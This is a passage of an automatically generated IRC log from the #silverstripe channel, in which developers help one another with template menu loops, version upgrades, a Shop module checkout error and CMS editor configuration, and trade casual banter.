1368: [16:01:12] * kerosene has joined #silverstripe
1369: [16:12:26] * r3v3rb quit (Quit: r3v3rb)
1370: [16:30:00] * stnvh quit ()
1371: [16:33:56] * wilson has joined #silverstripe
1372: [16:34:20] * wilson is now known as Guest39364
1373: [16:34:57] <Guest39364> Hi to all, is there a way i could loop thru Menu1 and look for 1st 2nd 3rd then 4th 5th 6th then 7th 8th 9th ?
1374: [16:35:14] <Zauberfisch> Guest39364: sure.
1375: [16:35:21] <Zauberfisch> think about it:
1376: [16:35:45] <Zauberfisch> <% loop $Menu(1) %> means you go in and do something for each page
1377: [16:35:55] <Zauberfisch> you can do anything you can do with that page
1378: [16:36:01] <Zauberfisch> eg access its children
1379: [16:36:05] <Zauberfisch> $Children
1380: [16:36:42] <Zauberfisch> <% loop $Menu(1) %>$Title<% if $Children %>has $Children.Count sub pages<% end_if %><% end_loop %>
1381: [16:36:50] <Guest39364> I expressed myseld wronlgy. I am not looking for Children of Menu1 (which mean first level) but each main level....
1382: [16:37:13] <Zauberfisch> $Menu(2) ?
1383: [16:37:53] <Guest39364> <% loop $Menu(1) %> returns 9 items... I want to target each of them but by group of 3...
1384: [16:38:03] <Zauberfisch> ah
1385: [16:38:10] <Zauberfisch> now I see what you are getting at
1386: [16:38:11] <Zauberfisch> yes
1387: [16:38:20] <Zauberfisch> $Menu(1).limit(3)
1388: [16:38:23] <Zauberfisch> $Menu(1).limit(3,3)
1389: [16:38:26] <Zauberfisch> $Menu(1).limit(3,6)
1390: [16:39:05] <Pyrk> I have something for this, but it's not on me atm.
1391: [16:39:08] <Zauberfisch> but thats hardcoded
1392: [16:39:14] <Guest39364> Wait a sec, trying that,
1393: [16:39:19] * Pyrk quit ()
1394: [16:39:26] <Zauberfisch> if you want it dynamic, you have to do it in php
1395: [16:40:54] <Guest39364> Zauberfisch, works perfectlly. Thanks!
1396: [16:43:45] * Guest39364 quit (Quit: Page closed)
1397: [16:51:42] * R\w\C quit (Quit: Textual IRC Client: www.textualapp.com)
1398: [16:54:29] * muskie9 quit (Quit: Textual IRC Client: www.textualapp.com)
1399: [16:57:22] <daslicht> Just pushed the Tutorial Code to :
1400: [16:57:22] <daslicht> https://github.com/daslicht/SilverStripe-cms-v3.1.5
1401: [17:16:49] * DesignerX quit (Ping timeout: 244 seconds)
1402: [17:23:10] * r3v3rb has joined #silverstripe
1403: [17:25:00] * caamic30 quit (Quit: caamic30)
1404: [17:28:04] * r3v3rb quit (Ping timeout: 264 seconds)
1405: [17:31:59] * r3v3rb has joined #silverstripe
1406: [17:44:38] * kerosene quit (Quit: WeeChat 0.4.3)
1407: [17:45:09] * kerosene has joined #silverstripe
1408: [18:17:18] * houleness has joined #silverstripe
1409: [18:20:48] <houleness> I’m trying to upgrade a SS 2.4 site to 3.1.5. I’m getting closer, but at the moment when I try to save/publish/delete a page in the cms I get the following error… “[Error] Couldn't run query: SELECT DISTINCT "SiteTree_ImageTracking"."FieldName", "File"."ClassName", "File"."Created", "File"."LastEdited", "File"."Name", "File"."Title", "File"."Filename", "File"."Content", "File"."ShowInSearch", "File"."ParentID", "File"."OwnerID", "File"."ID", CAS
1410: [18:20:49] <houleness> WHEN "File"."ClassName" IS NOT NULL THEN "File"."ClassName" ELSE 'File' END AS "RecordClassName" FROM "File" INNER JOIN "SiteTree_ImageTracking" ON "SiteTree_ImageTracking"."FileID" = "File"."ID" WHERE ("SiteTree_ImageTracking"."SiteTreeID" = '120') AND ("FieldName" = 'Intro' AND "SiteTreeID" = 120) ORDER BY "File"."Name" ASC Column 'SiteTreeID' in where clause is ambiguous
1411: [18:25:27] <houleness> @Zauberfisch any idea what might be causing that error?
1412: [18:27:09] * r3v3rb quit (Quit: r3v3rb)
1413: [18:31:40] * houleness has left #silverstripe
1414: [18:41:24] * houleness has joined #silverstripe
1415: [18:41:35] * houleness quit (Quit: houleness)
1416: [19:30:58] * SightUnseen has joined #silverstripe
1417: [19:35:05] * Shrike_Finland has joined #silverstripe
1418: [19:35:52] * SightUnseen quit (Ping timeout: 264 seconds)
1419: [19:36:18] * babak has joined #silverstripe
1420: [19:48:04] <guzzlefry> 0.o
1421: [19:48:08] <guzzlefry> didn't stick around long
1422: [19:59:53] * SightUnseen has joined #silverstripe
1423: [20:10:28] * UndefinedOffset quit (Quit: Leaving.)
1424: [20:10:59] * UndefinedOffset has joined #silverstripe
1425: [20:15:27] * UndefinedOffset quit (Ping timeout: 255 seconds)
1426: [20:17:06] * SightUnseen has left #silverstripe
1427: [20:37:11] * nickmolhoek has joined #silverstripe
1428: [20:43:43] * Ryan-Toast has joined #silverstripe
1429: [20:55:36] <Ryan-Toast> I give up on Composer man.
1430: [20:55:52] <Ryan-Toast> Need to pay someone to come in and show me what to do.
1431: [20:55:59] <catcher> Who's Composer Man?
1432: [20:56:08] <catcher> Sounds like a really boring super hero.
1433: [20:56:08] <Ryan-Toast> He fights crimne with music
1434: [20:56:12] <catcher> haha
1435: [20:56:21] <Ryan-Toast> They’re doing a remake with dubstep, looks shit.
1436: [20:56:32] <Ryan-Toast> Michael Bay’s the director.
1437: [20:56:36] <Ryan-Toast> wubwubwub
1438: [20:56:40] <Ryan-Toast> bwwwaaaaaap
1439: [20:56:45] <catcher> lol
1440: [20:57:01] <catcher> Don't give up on Composer Man, there's always an encore.
1441: [20:57:20] <Ryan-Toast> catcher: niiice :P
1442: [20:57:43] <Ryan-Toast> I’ve become addicted to Clash of Clans on my phone. Oh god, why?!
1443: [20:58:10] <catcher> I had a minute with that too.. became a bit pay-to-win-ish though
1444: [20:58:36] <Ryan-Toast> I’m a patient man, I shall never pay for it.
1445: [20:59:30] <catcher> I'm the same, and progress slowed pretty steeply after a couple weeks.
1446: [21:02:55] <Ryan-Toast> orly?
1447: [21:03:02] <Ryan-Toast> Like wwait 5 days for this to be built?
1448: [21:04:11] <Stomach> Ryan-Toast, I'll teach you for a beers
1449: [21:04:23] <Ryan-Toast> Stomach: Plan!
1450: [21:04:37] <Stomach> but cant until next week sometime?
1451: [21:04:55] <Ryan-Toast> Stomach: Whenever man :) I’ve survived so far without it.
1452: [21:05:12] * Shrike_Finland quit (Quit: Leaving.)
1453: [21:13:38] * UncleCheese has joined #silverstripe
1454: [21:14:15] * simon_w has joined #silverstripe
1455: [21:19:48] <Stomach> Ryan-Toast, sweet, lets do Saturday next week at some time then
1456: [21:20:17] <Ryan-Toast> Sounds good :)
1457: [21:22:22] * zippy__ has joined #silverstripe
1458: [21:22:24] <zippy__> morning
1459: [21:22:30] * zippy__ is now known as zippy_
1460: [21:22:42] * zippy_ is now known as zippy__
1461: [21:25:34] * an_Eskimo has joined #silverstripe
1462: [21:28:56] * terryapodaca has joined #silverstripe
1463: [21:30:08] <terryapodaca> anyone here use Jeremy Shipman's Shop module, or have experience troubleshooting it?
1464: [21:30:24] <terryapodaca> https://github.com/burnbright/silverstripe-shop
1465: [21:37:50] * daslicht quit ()
1466: [21:41:18] <catcher> terryapodaca, negative, sorry
1467: [21:41:23] * catcher quit (Quit: Leaving)
1468: [21:42:08] <terryapodaca> thanks catcher
1469: [21:43:29] * keksters has joined #silverstripe
1470: [21:44:51] * simon_w quit (Quit: This computer has gone to sleep)
1471: [21:45:09] <keksters> I've tried a quick search and can't find anything conclusive - I have a Silverstripe site sitting on a PHP5.3 server and I want to migrate it to a PHP5.5 server - should this be possible?
1472: [21:45:25] <UncleCheese> terryapodaca Shipman is sitting right next to me.. you want me to ask him something ? :)
1473: [21:45:38] <keksters> I can only find some references to fatal memory errors from back in 2013
1474: [21:46:41] <UncleCheese> keksters yes, the latest SS 2.4 and 3.1 should run on php 5.5
1475: [21:47:05] <keksters> Cool
1476: [21:47:31] <keksters> Well. Except I am not entirely sure what version of Silverstripe this site is
1477: [21:47:55] <keksters> As far as I know it has had some core hacking done to it. It currently displays Unkown when you hover over the SS logo
1478: [21:48:04] <terryapodaca> UncleCheese: awesome! I'm using his Shop module on a 2.4 installation and it worked perfect until oddly just a few days ago. Started getting this error without changing anything code wise: http://imgur.com/CXyTGaI
1479: [21:48:23] <terryapodaca> Can you ask him if he might be familiar with that?
1480: [21:49:36] <terryapodaca> happens both logged in and not logged in on checkout
1481: [21:50:01] <terryapodaca> http://www.dairymax.org/shop/
1482: [21:50:57] <UncleCheese> what branch are you using? I can't find that file
1483: [21:51:55] * camfindlay has joined #silverstripe
1484: [21:52:10] <zippy__> keksters: Do you have a saphire folder or framework folder?
1485: [21:52:14] <terryapodaca> not sure, it was way back before the module was updated to SS3
1486: [21:52:30] <UncleCheese> terryapodaca he's jumping in :)
1487: [21:52:35] * jedateach has joined #silverstripe
1488: [21:53:21] <keksters> zippy__: framework
1489: [21:53:25] <terryapodaca> thanks UncleCheese
1490: [21:53:34] <zippy__> keksters: so your in the 3.x then
1491: [21:53:45] <zippy__> keksters: whats the contents of framework/silverstripe_version say?
1492: [21:53:47] <keksters> Okay.
1493: [21:54:27] <keksters> It is empty
1494: [21:54:51] <zippy__> keksters: ok, so likely installed via composer. Do you have a composer.lock file?
1495: [21:54:51] <keksters> ls -la
1496: [21:55:21] <zippy__> yea, that wont work in here
1497: [21:55:28] <zippy__> ;)
1498: [21:55:29] <keksters> Yeah the problem with two screens
1499: [21:55:45] <keksters> No composer.lock, composer.json though
1500: [21:56:12] <zippy__> oh yea, whats the composer.json got for silverstripe-framework?
1501: [21:56:18] <terryapodaca> jedateach: did you understand what I explained?
1502: [21:56:46] <jedateach> @terryapodaca yep, I’m going to assume you’re running 0.9 branch
1503: [21:56:56] <keksters> zippy__: has no references for the silverstripe-framework
1504: [21:57:17] <zippy__> keksters: silverstripe-cms?
1505: [21:57:29] <terryapodaca> jedateach: probably so if that's the older version that ran on SS 2.4
1506: [21:57:37] <keksters> zippy__: nope
1507: [21:57:42] <jedateach> yep, 1.0 is for ss3
1508: [21:58:13] <terryapodaca> it is weird, worked completely fine prior to last week.
1509: [21:58:19] <keksters> zippy__: http://pastebin.com/LJcqC2gy
1510: [21:58:55] <terryapodaca> started getting emails last week that the checkout started erroring out
1511: [21:59:11] <terryapodaca> so i put the site in Dev mode and that's the error i get now, in that images
1512: [21:59:14] <terryapodaca> image
1513: [21:59:38] <jedateach> @terryapodaca have you checked the actual OrderForm.php file on the live site? …is $member infact defined?
1514: [21:59:46] <zippy__> if you look in framework/control/Controller.php. Do you have "static $allowed_actions" or "private static $allowed_actions" (around line 61)
1515: [21:59:50] <jedateach> it looks fine here: https://github.com/burnbright/silverstripe-shop/blob/0.9/code/forms/OrderForm.php
1516: [21:59:57] <zippy__> keksters: if you look in framework/control/Controller.php. Do you have "static $allowed_actions" or "private static $allowed_actions" (around line 61)
1517: [22:00:58] <keksters> zippy__: former
1518: [22:01:06] <zippy__> keksters: so no private?
1519: [22:01:14] <keksters> zippy__: No private
1520: [22:01:22] <zippy__> keksters: so that means your on 3.0.x
1521: [22:01:51] <keksters> zippy__: So that won't migrate?
1522: [22:01:57] <zippy__> yes, you can migrate
1523: [22:02:08] <keksters> zippy__: Okay thanks
1524: [22:02:19] <zippy__> keksters http://doc.silverstripe.org/framework/en/changelogs/3.1.0
1525: [22:02:22] <zippy__> Upgrading
1526: [22:02:56] <zippy__> keksters: then check the change logs for updating for 3.1.1, 3.1.2, etc but those will be minmal
1527: [22:03:04] <keksters> zippy__: Yeah I don't know how well this will upgrade. We only acquired this site
1528: [22:03:24] <keksters> zippy__: But I'll have fun finding out
1529: [22:03:30] <zippy__> if it goes tits up, UncleCheese is here to help
1530: [22:04:23] <Stomach> he'll just tell you to use HHVM
1531: [22:04:40] <keksters> Quick question: the _ss_environment.php is definitely meant to sit just inside root?
1532: [22:04:54] * Anytech has joined #silverstripe
1533: [22:04:57] <Stomach> keksters, or the directory above root
1534: [22:05:08] <keksters> Cools
1535: [22:05:15] <Anytech> hello
1536: [22:05:17] * irogue_ has joined #silverstripe
1537: [22:05:43] <Anytech> anyone familiar with the silverstripe mobile module?
1538: [22:06:41] <irogue_> Anytech: I heard about it for the first time last night - that's about as familiar as I am ;)
1539: [22:07:46] <Anytech> aww bugger,I am getting Missing argument 2 for Object::add_extension() in silverstripe 2.4
1540: [22:08:46] <irogue_> which version of silverstripe-mobile?
1541: [22:09:16] <terryapodaca> jedateach: huh...had to remove the if statement around member at line 237
1542: [22:09:59] <terryapodaca> jedateach: i noticed it was removed in your 0.9
1543: [22:10:06] <terryapodaca> branch'
1544: [22:10:25] <jedateach> ok, cool
1545: [22:13:40] <terryapodaca> jedateach: it's just so weird that it all the sudden broke when it worked just fine a couple weeks ago, and we haven't changed anything except content in the CMS in a long time.
1546: [22:13:56] <terryapodaca> oh well
1547: [22:14:32] <jedateach> Yes, werid - until you really find out what is happenning.
1548: [22:15:02] <jedateach> thats why I’ve been strongly focusing on unit testing to try catch edge cases etc
1549: [22:15:56] <irogue_> Anytech: make sure you're using 0.6 version, that was the last version that worked with SS 2.4
1550: [22:16:06] <terryapodaca> makes sense...i'll dig in and see if i can't find more, but for now this seems to have fixed it for now
1551: [22:16:56] <jedateach> @terryapodaca I’m not actively working on 0.9, but I’m happy to review pull requests :)
1552: [22:17:59] * r3v3rb has joined #silverstripe
1553: [22:18:13] * Bosie has joined #silverstripe
1554: [22:19:28] <terryapodaca> jedateach: I think my version might have been older than 0.9 version. it was the processOrder function: http://www.sspaste.com/paste/show/53a20c82d62ee
1555: [22:19:30] <r3v3rb> hmm, how can I stop baseHref adding the :8080 to my url when statically publishing
1556: [22:19:57] <terryapodaca> if you compare my function to your 0.9 branch, you'll see the if() statement i commented out
1557: [22:20:04] <r3v3rb> tried adding Director: alternate_base_url in config.yml but 3.1.2 seems to ignore the setting
1558: [22:21:21] <keksters> Well. For a site I did not expect to migrate it migrated beautifully
1559: [22:21:39] <keksters> Are there any particular nuances I should be looking out for?
1560: [22:23:09] <Stomach> keksters, broken stuff :P
1561: [22:23:46] <keksters> True. I'm most worried about the forms on this site
1562: [22:28:56] <terryapodaca> btw, anyone know who owns/developed: http://www.sspaste.com/
1563: [22:30:53] <Stomach> http://who.is/whois/sspaste.com
1564: [22:38:08] * Stomach is now known as Stevie
1565: [22:38:40] <irogue_> WHOA
1566: [22:39:25] <Stevie> WHOA?
1567: [22:39:47] <terryapodaca> WHOA
1568: [22:40:23] <guzzlefry> WOAH
1569: [22:40:47] <zippy__> WOAH!
1570: [22:41:12] <irogue_> namechange all up in here!
1571: [22:41:54] * Stevie is now known as ibandit
1572: [22:42:04] * ibandit is now known as ibandit_
1573: [22:42:22] <ibandit_> better? :)
1574: [22:47:22] <simon_w|work> That's fine, just confuse me
1575: [22:49:26] <ibandit_> you got a special mention last night simon_w|work
1576: [22:49:54] * abitran quit (Quit: Lost terminal)
1577: [22:50:06] <irogue_> lol
1578: [22:50:07] <simon_w|work> Good, so I should
1579: [22:51:27] <zippy__> I've just noticed…. you can't set a color on fonts in the wysiwyg?..
1580: [22:51:58] <simon_w|work> ibandit_, so, what did they say?
1581: [22:52:15] <r3v3rb> zippy__: you can if you add the extension to your config file
1582: [22:52:20] <ibandit_> simon_w|work, nothing good.
1583: [22:52:39] <simon_w|work> ibandit_, it never is
1584: [22:52:46] <r3v3rb> time to sleep, 5mins to midnight… must stop working
1585: [22:52:50] <ibandit_> zippy__, HtmlEditorConfig::get('cms')->addButtonsToLine(4, 'fontsizeselect,forecolor,fontselect');
1586: [22:52:52] <simon_w|work> Was it about how much faster my fork is than core?
1587: [22:53:05] <r3v3rb> night all
1588: [22:53:12] <zippy__> ibandit_: oh, thanks!
1589: [22:53:14] <r3v3rb> ibandit_: yep, thats the one for zippy__ :)
1590: [22:53:29] * r3v3rb was too tired to look it up
1591: [22:53:38] <r3v3rb> au revoir
1592: [22:53:40] * r3v3rb quit (Quit: r3v3rb)
1593: [22:53:49] <ibandit_> simon_w|work, thats almost exactly what it was about
1594: [22:53:52] <ibandit_> not the speed
1595: [22:53:55] <ibandit_> but you talking about it :P
1596: [22:53:59] * ibandit_ is now known as Stomach
1597: [22:54:15] <simon_w|work> Stomach, ooh, exciting
1598: [22:54:20] <simon_w|work> Stomach, was it during one of the talks?
1599: [22:54:55] <Stomach> yeah, UncleCheese's
1600: [22:55:10] <simon_w|work> I guess I'll watch the video when it goes up then
1601: [22:55:30] <Stomach> you wont be able to see it, it was on a tiny wee screen
1602: [22:55:43] <UncleCheese> we're working on that
1603: [22:55:53] <simon_w|work> UncleCheese, WHAT DID YOU SAY?
1604: [22:56:32] <UncleCheese> the slides and the demo will be much more visible on the video because they get edited in
1605: [22:58:55] <irogue_> fancy
1606: [22:59:29] * keksters quit (Quit: Page closed)
1607: [23:00:47] <simon_w|work> UncleCheese, that isn't helping my narcissistic side :p
1608: [23:01:21] <irogue_> UncleCheese was bagging on how shit IRC is :P
1609: [23:01:43] <UncleCheese> haha
1610: [23:01:57] <UncleCheese> i didn't mention simon_w at all
1611: [23:02:18] <simon_w|work> Stomach just said you did!
1612: [23:02:19] <UncleCheese> there may have been reference to a mysterious character named <simon_?>
1613: [23:02:38] <Stomach> oh, my mistake
1614: [23:02:39] <irogue_> who loves hiphop
1615: [23:02:42] <Stomach> sorry for the confusion
1616: [23:02:48] <irogue_> and not the musical kind
1617: [23:03:05] <Stomach> souls of mischief up in here
1618: [23:03:12] <UncleCheese> * and rebecca black
1619: [23:03:34] <irogue_> people are currently having a meeting about me, this is weird
1620: [23:04:12] <Stomach> i hope they decide that you should be hung outside for a few hours
1621: [23:04:25] * Bosie quit (Ping timeout: 246 seconds)
1622: [23:04:32] <simon_w|work> UncleCheese, now you've got me intrigued about this simon_?. He sounds awesome.
1623: [23:05:29] <irogue_> Stomach: what, so you can come down here with a water gun?
1624: [23:05:39] <Stomach> BINGO
1625: [23:05:52] <Stomach> fill it with apple sauce
1626: [23:05:56] <Stomach> bring some bees
1627: [23:05:59] <Stomach> lolololol
1628: [23:06:47] <irogue_> http://www.thumbtack.com/engineering/introducing-smarty/
1629: [23:07:06] <irogue_> wonder if they know that there's already a Smarty, and it's a word that induces fear and loathing in web developers
1630: [23:07:23] * Anytech quit (Quit: Leaving)
1631: [23:07:55] <Ryan-Toast> irogue_: X-Cart. Shudder.
1632: [23:14:24] <zippy__> anyone use this - http://mailcatcher.me/
1633: [23:14:37] <zippy__> I know SS has the 'send all to'
1634: [23:14:58] <zippy__> but sometimes that can cause a bounce of noticed, so you also need a send all from, which I think was removed from ss3..
1635: [23:15:09] <irogue_> i like it
1636: [23:15:45] <zippy__> irogue_: you use it?
1637: [23:15:51] <irogue_> nah, but i might now :P
1638: [23:16:20] <zippy__> you can grab all the emails in there via json, so you can set up tests. Send the email then json check the message is in there, and to/from/body etc correct
1639: [23:16:35] <zippy__> and since SS will actually send the email, might be more useful than mocking it
1640: [23:17:21] * abitran has joined #silverstripe
1641: [23:25:11] <zippy__> In my sumamry fields, I want to return the first line of a htmltext field. so, I have setup the function which is called via the summary_fields array, and I know I need to cast my content to a htmltext field so I can call the FirstParagraph function
1642: [23:25:17] <zippy__> but, how do you do that again?
1643: [23:29:19] <Stomach> shouldnt it already be htmltext?
1644: [23:29:36] <Stomach> $this->dbObject('FieldName')->FirstParagraph()
1645: [23:30:14] <zippy__> Stomach: $this->Content when in the model would just be a string wouldn't it?
1646: [23:30:17] <zippy__> I am sure..
1647: [23:30:20] <zippy__> (sort of)
1648: [23:34:22] <Stomach> I don't think it would be
1649: [23:34:28] <Stomach> but could be wrong :P
1650: [23:35:45] <UncleCheese> $this->Content will be an object, but I believe it has a __toString() method
1651: [23:36:11] <UncleCheese> no, nevermind
1652: [23:36:35] <Colin[pi]> moin moin
1653: [23:36:58] <irogue_> kia ora Colin[pi]
1654: [23:37:41] <Colin[pi]> heya
1655: [23:48:37] * terryapodaca has left #silverstripe
1656: [23:55:19] <simon_w|work> Late Colin[pi]!
1657: [23:59:57] <Colin[pi]> had to take the bairn to school!

These logs were automatically created by ss-log on irc.freenode.net.